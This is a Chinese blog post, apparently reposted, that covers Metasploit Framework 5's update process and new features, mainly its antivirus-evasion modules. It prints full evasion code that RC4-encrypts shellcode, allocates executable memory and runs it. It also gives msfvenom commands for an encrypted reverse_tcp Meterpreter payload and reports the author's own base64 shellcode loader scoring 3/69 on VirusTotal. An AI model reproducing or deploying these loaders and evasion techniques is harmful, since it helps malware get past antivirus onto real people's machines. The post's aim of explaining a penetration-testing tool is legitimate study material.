MSF5一些特色以及如何使用其免杀

栏目: 编程工具 · 发布时间: 5年前

内容简介:不久前知名的渗透测试框架官方release note:笔者只在Ubuntu、MAC、kali中尝试更新。

不久前知名的渗透测试框架 metasploit frameword 进行了一次大得版本更新,从 msf4.7 更新到了 msf5 。其中自然少不了一些新特性,笔者在使用新增的功能时,发现这些功能都十分实用,并且非常值得学习。这里我给大家简单介绍一下重要的更新内容,并且使用其做做小实验。

官方release note: https://blog.rapid7.com/2019/01/10/metasploit-framework-5-0-released/

如何更新

笔者只在Ubuntu、MAC、kali中尝试更新。

GIT

官方仓库master已经更新到了 msf5

直接使用该仓库重新安装一次即可,可是太麻烦啦!

Ubuntu 18

直接使用 msfupdate 命令即可。

MAC

同上

kali

/etc/apt/sources.list 中添加 kali-experimental 版本源,例如阿里云源:

deb http://mirrors.aliyun.com/kali kali-experimental main non-free contrib 
deb-src http://mirrors.aliyun.com/kali kali-experimental main non-free contrib

其实就是把 rolling 版本换成了 experimental ,保险起见,你也可以只添加,不覆盖原内容。

这里我尝试过两种方法,在windows子系统的kali中:

sudo apt update; apt install metasploit-framework 即可

而虚拟机Kali 2018.4中:

apt remove metasploit-framework;apt install metasploit/kali-experimental

猜测是因为windows子系统的kali的msf并不是缺省的导致的命令差异。

简单介绍部分更新内容

数据库和自动化的APIs

意思就是在Postgresql数据库为后端的基础上添加了RESTful API服务,使得msf以及外部 工具 之间可以进行交互。API文档: https://github.com/rapid7/metasploit-framework/wiki/Metasploit-Web-Service .

免杀模块以及库

这点是我认为这次更新最实(易)用的一个地方,这里官方介绍的比较模糊,并且只给出了两个已经写好的库。具体的内容都在一份paper中。所以在这里我来具体介绍一下。

免杀模块

来看看数日内,这两个可怜的”样本”被杀成什么样了。

  • evasion/windows/windows_defender_exe
  1. 火绒:
  2. Windows defender
  3. virustotal
    GGbdIwIyp.exe 分析

    检出率: 34 / 69
  • evasion/windows/windows_defender_js_hta
  1. 火绒
  2. Windows defender
  3. virustotal
    WMPqRX.hta 分析

可以看到exe文件被查杀的比例虽然偏高,但是依旧过了Windows defender的静态扫描,而HTA则没有这么好运,被Windows defender无情的识别出来了,但是检出率十分可观,可以看到可以绕过大多数知名AV。(PS:我把火绒单独放出来是因为virustotal没有它,并且笔者主机是使用火绒的,但是十分可惜结果不太好看.)

当然,此次是 msf 第一次放出免杀相关的功能,肯定不仅仅如此,下面的才是最关键的几个点:

提供模板编译函数

  • Metasploit::Framework::Compiler::Windows.compile_c(code)
  • Metasploit::Framework::Compiler::Windows.compile_c_to_file(file_path,
    code)

EXE Example

c_template = %Q|#include <Windows.h>  

int main(void) {  
  LPCTSTR lpMessage = "Hello World";  
  LPCTSTR lpTitle = "Hi";  
  MessageBox(NULL, lpMessage, lpTitle, MB_OK);  
  return 0;  
}|  

require 'metasploit/framework/compiler/windows'  

# This will save the binary in variable exe  
exe = Metasploit::Framework::Compiler::Windows.compile_c(c_template)  

# This will save the binary as a file  
Metasploit::Framework::Compiler::Windows.compile_c_to_file('/tmp/test.exe', c_template)  

DLL Example

c_template = %Q|#include <Windows.h>  

BOOL APIENTRY DllMain __attribute__((export))(HMODULE hModule, DWORD dwReason, LPVOID lpReserved) {  
  switch (dwReason) {  
    case DLL_PROCESS_ATTACH:  
      MessageBox(NULL, "Hello World", "Hello", MB_OK);  
      break;  
    case DLL_THREAD_ATTACH:  
      break;  
    case DLL_THREAD_DETACH:  
      break;  
    case DLL_PROCESS_DETACH:  
      break;  
  }  

  return TRUE;  
}  

// This will be a function in the export table  
int Msg __attribute__((export))(void) {  
  MessageBox(NULL, "Hello World", "Hello", MB_OK);  
  return 0;  
}  
|  

require 'metasploit/framework/compiler/windows'  
dll = Metasploit::Framework::Compiler::Windows.compile_c(c_template, :dll)  

Code Randomization

require 'msf/core'  
require 'metasploit/framework/compiler/windows'  

c_source_code = %Q|  
#include <Windows.h>  

int main() {  
  const char* content = "Hello World";  
  const char* title = "Hi";  
  MessageBox(0, content, title, MB_OK);  
  return 0;  
}|  

outfile = "/tmp/helloworld.exe"  
weight = 70 # This value is used to determine how random the code gets.  
Metasploit::Framework::Compiler::Windows.compile_random_c_to_file(outfile, c_source_code, weight: weight)  

加密方式

并且此次添加了四种加密方式,分别为AES256-CBC、RC4、XOR和Base64。

使用方法:

  • msfvenom
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 --encrypt rc4 --encrypt-key thisisakey -f c
    此语句将会打印加密后的shellcode,需要自行实现客户端加载。
  • 模板中
    Msf::Simple::Buffer.transform(payload.encoded, 'c', 'buf', format: 'rc4', key: rc4_key)
    需要结合之前介绍过的编译函数使用。
    例如:
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
require 'metasploit/framework/compiler/windows'  
class MetasploitModule < Msf::Evasion  
    def initialize(info={})  
        super(merge_info(info,  
            'Name' => 'Microsoft Windows Defender Evasive Executable',  
            'Description' => %q{  
                This module allows you to generate a Windows EXE that evades against Microsoft  
                Windows Defender. Multiple techniques such as shellcode encryption, source code obfuscation, Metasm, and anti-emulation are used to achieve this.  
                For best results, please try to use payloads that use a more secure channel such as HTTPS or RC4 in order to avoid the payload network traffc getting caught by antivirus better.  
            },  
            'Author' => [ 'sinn3r' ],  
            'License' => MSF_LICENSE,  
            'Platform' => 'win',  
            'Arch' => ARCH_X86,  
            'Targets' => [ ['Microsoft Windows', {}] ]  
        ))  
    end  
def rc4_key  
    @rc4_key ||= Rex::Text.rand_text_alpha(32..64)  
end  
def get_payload  
    @c_payload ||= lambda {  
        opts = { format: 'rc4', key: rc4_key }  
        junk = Rex::Text.rand_text(10..1024)  
        p = payload.encoded + junk  

        return {  
        size: p.length,  
        c_format: Msf::Simple::Buffer.transform(p, 'c', 'buf', opts)  
        }  
    }.call  
end  

def c_template  
    @c_template ||= %Q|#include <Windows.h>  
#include <rc4.h>  
// The encrypted code allows us to get around static scanning  
#{get_payload[:c_format]}  

int main() {  
    int lpBufSize = sizeof(int) * #{get_payload[:size]};  
    LPVOID lpBuf = VirtualAlloc(NULL, lpBufSize, MEM_COMMIT,| Rapid7.com Encapsulating Antivirus (AV) Evasion Techniques - 20  
0x00000040);  
    memset(lpBuf, '', lpBufSize);  
    HANDLE proc = OpenProcess(0x1F0FFF, false, 4);  
    // Checking NULL allows us to get around Real-time protection  
    if (proc == NULL) {  
        RC4("#{rc4_key}", buf, (char*) lpBuf, #{get_payload[:size]});  
        void (*func)();  
        func = (void (*)()) lpBuf;  
        (void)(*func)();  
    }  

    return 0;  
}|  
    end  
    def run  
        vprint_line c_template  
        # The randomized code allows us to generate a unique EXE  
        bin = Metasploit::Framework::Compiler::Windows.compile_  
        random_c(c_template)  
        print_status("Compiled executable size: #{bin.length}")  
        file_create(bin)  
    end  
end  

为了方便,笔者使用第一种方法来实现。

这里我使用base64的加密方式,然后自行编写解码执行shellcode的客户端程序。

然后msf开启监听,这里使用msf5添加的handler指令直接添加一个listener。

先查看我们写的客户端免杀效果如何。

  • 火绒
  • windows defender

    抽风了,是之前的文件,我自己给删除了,结果显示还在。
  • virustotal

    检出率: 3 / 69
    这三款我只关注某知名AV,这个报的病毒类型是典型专属它的误报,多的不说了直接上真实环境看看。

跑起来试试

一些特色

  • 搜索速度
    msf5的漏洞搜索功能变得飞快了,没有了原来的 slow search
  • background
    所有的session类型都支持 background 指令了,我猜很多小伙伴都被直接弹回来的shell/cmd烦恼过。这里我使用臭名昭著的 windows/shell/reverse_tcp

这个类型的session会直接谈一个 shell 到你的msfconsole,并且无法挂在后台,非常烦人,容易手误关闭shell,比如原来的ms17-010模块默认就是这个坑爹的模块,漏洞本身不能短时间多次利用,常常耽误很多时间。

不过值得注意的是,当你进入这个session,也就是shell的时候,仍然无法退出到msfconsole,只能关闭session出来…

  • 拓展模块支持更多语言

    现在支持Go,Python, 以及 Ruby 了。额外添加的两个语言都是非常棒,笔者都学习过的语言,可以预见到未来的模块遍地开花!

结语

关于本次更新,笔者也是关注的官方公告,以及周围小伙伴的口口相传,所以可能会有不少遗漏内容,文章也写的比较口语化,旨在分享知识,请大家多多包涵,最后祝愿所有朋友新的一年技术节节高升。


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Perl语言编程

Perl语言编程

克里斯蒂安森 (Tom Christiansen) (作者)、Brian D Foy (作者)、Larry Wall (作者)、Jon Orwant (作者) / 苏金国 (译者)、吴爽 (译者) / 中国电力出版社 / 2014-9-1 / 148

从1991年第一版问世以来,《Perl语言编程》很快成为无可争议的Perl宝典,如今仍是这种高实用性语言的权威指南。Perl最初只是作为一个功能强大的文本处理工具,不过很快发展成为一种通用的编程语言,可以帮助成千上万的程序员、系统管理员,以及像你一样的技术爱好者轻松完成工作。 人们早已经翘首以待这本“大骆驼书”的更新,如今终于得偿所愿。在这一版中,三位颇有声望的Perl作者讲述了这种语言当前......一起来看看 《Perl语言编程》 这本书的介绍吧!

CSS 压缩/解压工具
CSS 压缩/解压工具

在线压缩/解压 CSS 代码

JSON 在线解析
JSON 在线解析

在线 JSON 格式化工具

URL 编码/解码
URL 编码/解码

URL 编码/解码